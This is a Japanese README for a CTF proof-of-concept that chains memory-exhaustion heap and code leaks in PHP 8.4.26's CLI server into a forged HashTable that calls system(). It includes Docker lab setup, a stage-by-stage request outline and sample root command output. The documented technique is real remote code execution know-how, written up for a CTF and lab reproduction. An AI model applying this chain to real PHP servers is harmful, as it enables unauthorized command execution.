
Steal My Bitcoinチャレンジの公開リリース
Steal My Bitcoin チャレンジに対する単一のライブ PHP コールバックを、最初から最後まで、標準ライブラリのみを使った単一の Python ファイルで。
この README では stealmybitcoin_poc.py について説明します。これは、私の Steal My Bitcoin CTF 実行で使用したリクエストシーケンスを単一ファイルで再現した Python スクリプトです。Python の標準ライブラリのみを使用しています。スクリプトはリクエストを自身で構築し、次に進む前に各リークを検証し、新しい実行からの HTTP バイト列を記録します。
おそらく、余計なデバッグ用のガラクタをすべて省けばもっと簡単にできるでしょうし、Steam のローカル特権昇格に関する私の John Hammond の動画で発見したように、この醜い PoC もおそらく整理できるはずです。
[!NOTE] ⚠️ 正直なところ、これを整理するか、Sol にぐしゃぐしゃにされていない、より良いバージョンを自分で作ってください。 ⚠️
以下の内容はすべて Docker ラボに対して書かれたものであり、ライブチャレンジに対してではありません。ラボは nginx の背後にあるローカルの Alpine PHP 8.4.26 CLI サーバーであり、オフセットの調整に使用したのと同じビルドとワーカーモデルです。1 分で立ち上げて、チェーン全体を自分のマシン上でエンドツーエンドに実行できます。実際にチャレンジを解いたライブ実行は、末尾に歴史的な記録として残しています。
stage what goes out what comes back
─────────────────────────────────────────────────────────────────────────────
0 health GET /php-version.php -> PHP 8.4.26 confirmed
1 heap leak 249,042 B producer + 8 x 6,672 B -> 256 B cookie
(OOM poisons a worker) └─ Zend chunk base
2 code leak 251,557 B producer + 8 x 92,388 B -> 16 B cookie
(OOM poisons a worker) └─ zval_ptr_dtor
3 callback 368,812 B POST -> forged HashTable runs
(fake HashTable + command) └─ zif_system(cmd)
─────────────────────────────────────────────────────────────────────────────
20 HTTP requests at most. No looping, no retries.
zif_system(PHP の system ハンドラ)を呼び出します。print-flag の結果を返します。なぜ 2 つのアドレスが必要なのか? OS は PHP のコードとヒープが配置される場所を独立してランダム化します。ヒープリークは偽造構造体をどこに置くべきかをスクリプトに伝え、コードリークは呼び出したい関数が実際にどこにあるかを伝えます。以前のワーカーや以前の実行から得たアドレスは安全な代替にはならず、私が試すたびにその試行は単に失敗しました。
この PoC のオフセットは、4 つのワーカーで組み込み CLI サーバーを実行する Alpine PHP 8.4.26 向けに調整されています。ラボはまさにその構成を、nginx の背後で、ループバック上に再現します。
[!IMPORTANT] バージョン文字列よりもビルドの方が重要です。Debian の
php:8.4.26-fpmスタックは同じPHP/8.4.26を報告しますが、バイナリレイアウトが異なるため、コードポインタのフィンガープリントは決して一致せず、実行はコードリークの段階で中止されます。以下の Alpine イメージを使用してください。
小さなファイルが 3 つあります。空のディレクトリに配置してください:
public/php-version.php(ヘルスエンドポイントであり、PoC が必要とする唯一のページ)
<?php
header('Content-Type: text/plain');
echo 'PHP ', PHP_VERSION, "\n";
echo 'PID: ', getmypid(), "\n";
print-flag(チャレンジバイナリの代替であり、実行可能である必要があります)
#!/bin/sh
printf '%s\n' 'LOCAL_DUMMY_WIF_NEVER_USE'
nginx.conf
events {}
http {
server {
listen 80;
server_name _;
location / {
proxy_pass http://ctf-cross-php:8000;
proxy_http_version 1.1;
proxy_set_header Host $host;
}
}
}
Then bring it up:
docker network create ctf-cross-net
docker run -d --name ctf-cross-php --network ctf-cross-net \
--read-only --tmpfs /tmp:rw,size=32m,mode=1777 --memory 1g \
-v "$PWD/public:/app:ro" \
-v "$PWD/print-flag:/usr/local/bin/print-flag:ro" \
-e PHP_CLI_SERVER_WORKERS=4 \
php:8.4.26-fpm-alpine3.23 php -S 0.0.0.0:8000 -t /app
docker run -d --name ctf-cross-nginx --network ctf-cross-net \
-p 127.0.0.1:18166:80 \
-v "$PWD/nginx.conf:/etc/nginx/nginx.conf:ro" \
nginx:1.27-alpine
Check it:
$ curl -s http://127.0.0.1:18166/php-version.php
PHP 8.4.26
PID: 1
PID は応答するワーカーによって変わり、それは問題ない。PoC がチェックするのはバージョン行の部分である。
docker rm -f ctf-cross-nginx ctf-cross-php && docker network rm ctf-cross-net で削除する。
[!TIP] Windows では、これらの
docker runコマンドを PowerShell から実行するか、$PWDをC:/labのような完全なドライブパスに置き換えてください。Git Bash では$PWDが/tmp/...のような MSYS パスに展開され、Docker Desktop はそれを自身の VM 内で解決します。その結果、バインドマウントはnginx.confとprint-flagがあるべき場所に空のディレクトリを黙って作成し、コンテナは壊れた状態で起動します。
このレシピについていくつか補足する。イメージは fpm タグだがコンテナは php -S を実行するため、SAPI は cli-server となり、これがキャリブレーションの測定対象である。PHP_CLI_SERVER_WORKERS=4 は、リーク段階で複数のワーカーを競合させるために必要な設定である。私自身のラボハーネスでは、ワーカーにトレーサーをアタッチできるよう --cap-add SYS_PTRACE --security-opt seccomp=unconfined も渡していたが、PoC 自体はそれを決して行わないため、上記では省略している。
Python 3.11 以降、標準ライブラリのみ、インストール不要:
python .\stealmybitcoin_poc.py --url http://127.0.0.1:18166/php-version.php
引数なしで実行すると、ヘルプを表示してネットワークに一切アクセスせずに終了します。
正常な実行結果は次のようになります:
[health] PHP 8.4.26 confirmed
[heap] strict Zend base 0x78113e800000
[code] strict zval_ptr_dtor 0x615b1f512930
{"stage": "final", "nonce": "1ef0e73d8615157a", "execution_proof_verified": true, "response_path": "..."}
その zval_ptr_dtor 値の下位 21 ビットに注目してください: 0x112930 は、この Alpine ビルドに対してスクリプトが期待するフィンガープリントと正確に一致します。これが、不一致のイメージを拒否するチェックです。
返ってくるレスポンスボディは次のとおりです:
<br />
<b>Fatal error</b>: Allowed memory size of 134217728 bytes exhausted (tried to allocate 131072 bytes) in <b>Unknown</b> on line <b>0</b><br />
1ef0e73d8615157a
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
0ec066e8b91457c7c19b5612f3e2ded7f117df08f402693669c1ffc2cfc24942 /usr/local/bin/print-flag
LOCAL_DUMMY_WIF_NEVER_USE
PHPの致命的エラー、次にこの実行で生成されたnonce、次にid、次に解決されたバイナリのハッシュ、最後にダミーフラグ。終了ステータスは検証済みの実行で0、それ以外では1です。
[!WARNING] プロデューサは意図的にPHPをメモリ制限まで追い込みます。この動作が許可されている場所でのみ実行してください。スクリプトはチャレンジのエンドポイントまたはループバックのラボURLにのみ通信し、それ以外の場合はパケットが送信される前に中止されます。
1回の実行は、ヘルスチェックのGET 1回、最大2バッチのリーク、そして最大1回の最終リクエストを意味します。ループもリトライもありません。各マルチパートボディは1 MiB未満に収まりますが、各リークバッチは9つの個別リクエストを1つの接続にパイプライン化します。
| フラグ | 動作 |
|---|---|
--url | ラボのエンドポイント、またはチャレンジ。何かを行うには必須。 |
--output-dir | 実行の証拠を書き込む場所。デフォルトはpoc-run-<UTC timestamp>。 |